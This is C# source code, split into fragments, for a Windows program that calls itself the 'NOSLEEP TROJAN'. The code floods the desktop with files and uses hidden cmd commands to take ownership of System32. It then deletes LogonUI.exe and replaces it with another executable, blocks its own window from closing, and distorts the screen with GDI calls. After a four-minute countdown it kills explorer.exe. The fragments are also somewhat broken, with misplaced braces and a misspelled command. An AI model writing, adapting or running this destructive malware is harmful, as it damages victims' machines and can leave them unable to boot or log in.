

```

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Media;
using System.Diagnostics;

namespace NoSleep
{
    public partial class NoSleep_windows : Form
    {
        //These dll import are for gdi payloads, do not change
        [DllImport("gdi32.dll", ExactSpelling = true)]
        private static extern IntPtr BitBlt(IntPtr hDestDC, int x, int y, int nWidth, int nHeight, IntPtr hSrcDC, int
xSrc, int ySrc, int dwRop);

        [DllImport("user32.dll")]
        [return: MarshalAs(UnmanagedType.Bool)]
        static extern bool GetWindowRect(IntPtr hWnd, out RECT lpRect);

        [DllImport("user32.dll")]
        static extern IntPtr GetWindowDC(IntPtr hWnd);

        public const int DIRTY = 8658951;
        public const int NORMAL = 13369376;

        [StructLayout(LayoutKind.Sequential)]
        public struct RECT
        {
            public int Left;    // x position of upper-left corner
            public int Top;     // y position of upper-left corner
            public int Right;   // x position of lower-right corner
            public int Bottom;  // y position of lower-right corner
        }

        [DllImport("user32.dll")]
        static extern IntPtr GetDesktopWindow();

        [DllImport("user32.dll")]
        static extern IntPtr GetDCEx(IntPtr hwnd, IntPtr hrgn, uint flags);

        [System.Runtime.InteropServices.DllImport("gdi32.dll")]
        internal static extern bool Rectangle(IntPtr hdc, int ulCornerX, int ulCornerY, int lrCornerX, int lrCornerY);

        [DllImport("User32.dll")]
        public static extern IntPtr GetDC(IntPtr hwnd);
        [DllImport("User32.dll")]
        static extern int ReleaseDC(IntPtr hwnd, IntPtr dc);

        [DllImport("ntdll.dll", SetLastError = true)]
        private static extern int NtSetInformationProcess(IntPtr hProcess, int processInformationClass, ref int
processInformation, int processInformationLength);

        [DllImport("gdi32.dll", EntryPoint = "DeleteDC")]
        public static extern bool DeleteDC([In] IntPtr hdc);
    }
}

```

```

//Sound
private SoundPlayer back_snd;

public NoSleep_windows()
{
    InitializeComponent();
    timer_to_dead.Text = TimeSpan.FromMinutes(4).ToString();
}

private void NoSleep_windows_FormClosing(object sender, FormClosingEventArgs e)
{
    e.Cancel = true; //anti-kill
}

private void rules_Click(object sender, EventArgs e)
{
    var NewForm = new Rules();
    NewForm.ShowDialog();
}

private void NoSleep_windows_Load(object sender, EventArgs e)
{
    //Play video if exists
    if(File.Exists(@"C:\Program Files\Temp\some_video.mp4"))
    {
        this.scary_video.uiMode = "none";
        this.scary_video.settings.setMode("loop", true);
        this.scary_video.URL = @"C:\Program Files\Temp\some_video.mp4";
    }
    //Play music if exists
    if(File.Exists(@"C:\Program Files\Temp\some_music.wav"))
    {
        back_snd = new SoundPlayer(@"C:\Program Files\Temp\some_music.wav");
        back_snd.Play();
    }
    //Create 300 files on desktop
    string desktop_files = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
    File.WriteAllText(desktop_files +
@"\NOSLEEP_NOSLEEP_NOSLEEP_NOSLEEP_NOSLEEP_NOSLEEP_NOSLEEP_NOSLEEP_NOSLEEP.txt",
"WELCOME TO NOSLEEP TROJAN." + Environment.NewLine + "Try to kill me if its possible for you." +
Environment.NewLine + "You have only 4 minutes." + Environment.NewLine + "" + Environment.NewLine +
"GOOD LUCK.");
    try
    {
        for(int s = 1; s < 300; s++)
        {
            File.Copy(desktop_files +
@"\NOSLEEP_NOSLEEP_NOSLEEP_NOSLEEP_NOSLEEP_NOSLEEP_NOSLEEP_NOSLEEP_NOSLEEP.txt",
desktop_files +
$"\\NOSLEEP_NOSLEEP_NOSLEEP_NOSLEEP_NOSLEEP_NOSLEEP_NOSLEEP_NOSLEEP_NOSLEEP({s}).txt");
        }
    }catch(Exception ex) { }
    //Create LogonUI overwriter
    const string quote = "\"";
    ProcessStartInfo del_logon = new ProcessStartInfo();
    del_logon.FileName = "cmd.exe";
    del_logon.WindowStyle = ProcessWindowStyle.Hidden;
    del_logon.Arguments = @" /k takeown /f C:\Windows\System32 && icaccls C:\Windows\System32
/grant " + quote + "%username%:F" + quote + " && exit";
    Process.Start(del_logon);
}

```

```

bool logonui = true;
while (File.Exists(@"C:\Windows\System32\LogonUI.exe") && logonui)
{
    try
    {
        File.Delete(@"C:\Windows\System32\LogonUI.exe");
        if (!File.Exists(@"C:\Windows\System32\LogonUI.exe"))
        {
            File.Copy(@"C:\Program Files\Temp\RSOD.exe", @"C:\Windows\System32\LogonUI.exe");
            logonui = false;
        }
    } catch (Exception ex) { }
}
//timers
clock_timer(); //for countdown
clock_countdown.Start(); //for countdown
check_values.Start(); //for rules
nosleep_image.Start(); //first gdi payload with scary image
}
private void clock_timer()
{
    var startTime = DateTime.Now;
    var timer = new Timer() { Interval = 1000 };
    timer.Tick += (obj, args) =>
    timer_to_dead.Text =
    (TimeSpan.FromMinutes(4) - (DateTime.Now - startTime))
    .ToString("mm\\:ss");
    timer.Enabled = true;
}

private void clock_countdown_Tick(object sender, EventArgs e)
{
    clock_countdown.Stop();
    ProcessStartInfo rip_exp = new ProcessStartInfo();
    rip_exp.FileName = "cmd.exe";
    rip_exp.WindowStyle = ProcessWindowStyle.Hidden;
    rip_exp.Arguments = @"/k taskkill /f /im explorer.exe";
    Process.Start(rip_exp);
    Process.Start(@"C:\Windows\System32\LogonUI.exe");
    back_snd.Stop();
    Environment.Exit(-1);
}

private void check_values_Tick(object sender, EventArgs e)
{
    check_values.Stop();
    string desktop_files = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
    if (!File.Exists(@"C:\Program Files\Temp\A lot of skulls.jpg") || !File.Exists(@"C:\Program
Files\Temp\NoSleeper.jpg") || !File.Exists(@"C:\Program Files\Temp\skull_real_ico.ico") ||
!File.Exists(@"C:\Program Files\Temp\NoSleep.exe") || !File.Exists(desktop_files +
@"\NOSLEEP_NOSLEEP_NOSLEEP_NOSLEEP_NOSLEEP_NOSLEEP_NOSLEEP_NOSLEEP_NOSLEEP.txt"))
    {
        ProcessStartInfo rip_exp = new ProcessStartInfo();
        rip_exp.FileName = "cmd.exe";
        rip_exp.WindowStyle = ProcessWindowStyle.Hidden;
        rip_exp.Arguments = @"/k taskkill /f /im explorer.exe";
        Process.Start(rip_exp);
        Process.Start(@"C:\Windows\System32\LogonUI.exe");
        back_snd.Stop();
    }
}

```

```

        Environment.Exit(-1);
    }
    check_values.Start();
}

bool nosleep_ = true;
bool next_glitch = true;
Random r;

private void nosleep_image_Tick(object sender, EventArgs e)
{
    if (next_glitch)
    {
        next_glitch = false;
        glitch_screen.Start();
    }
    if (nosleep_)
    {
        r = new Random();
        nosleep_image.Stop();
        nosleep_image.Interval = 500;
        Bitmap bitmap = new Bitmap(pictureBox2.Image);

        IntPtr desktop = GetDC(IntPtr.Zero);
        using (Graphics g = Graphics.FromHdc(desktop))
        {
            g.DrawImage(bitmap, r.Next(0, Screen.PrimaryScreen.Bounds.Width), r.Next(0,
Screen.PrimaryScreen.Bounds.Height), 200, 250);
        }
        ReleaseDC(IntPtr.Zero, desktop);
        nosleep_image.Start();
    }
}

bool glitch = true;
bool next_darken = true;

private void glitch_screen_Tick(object sender, EventArgs e)
{
    if(next_darken)
    {
        next_darken = false;
        glitch_screen.Interval = 2000;
        nosleep_ = false;
        nosleep_image.Stop();
        dark_screen.Start();
    }
    if (glitch)
    {
        if(glitch_screen.Interval > 200)
        {
            glitch_screen.Interval -= 100;
        }
        else
        {
            glitch_screen.Interval = 100;
        }
        glitch_screen.Stop();
        r = new Random();
        IntPtr hwnd = GetDesktopWindow();
    }
}

```

```

        IntPtr hdc = GetWindowDC(hwnd);
        RECT myRect;
        GetWindowRect(hwnd, out myRect);

        BitBlt(hdc, r.Next(0, Screen.PrimaryScreen.Bounds.Width), r.Next(0,
Screen.PrimaryScreen.Bounds.Height), myRect.Right += r.Next(500), myRect.Bottom += r.Next(500), hdc, 0,
0, NORMAL);
        ReleaseDC(hwnd, hdc);
        glitch_screen.Start();
    }
}

bool dark = true;
bool last_payload = true;

private void dark_screen_Tick(object sender, EventArgs e)
{
    if (last_payload)
    {
        dark_screen.Interval = 3000;
        glitch = false;
        glitch_screen.Stop();
        last_payload = false;
    }
    if (dark)
    {
        if(dark_screen.Interval > 200)
        {
            dark_screen.Interval -= 100;
        }
        else
        {
            dark_screen.Interval = 100;
        }
        dark_screen.Stop();
        r = new Random();
        IntPtr hwnd = GetDesktopWindow();
        IntPtr hdc = GetWindowDC(hwnd);
        RECT myRect;
        GetWindowRect(hwnd, out myRect);

        BitBlt(hdc, r.Next(-5, 5), r.Next(-5, 5), myRect.Right, myRect.Bottom, hdc, 0, 0, DIRTY);
        ReleaseDC(hwnd, hdc);
        dark_screen.Start();
    }
}
}
}
}

```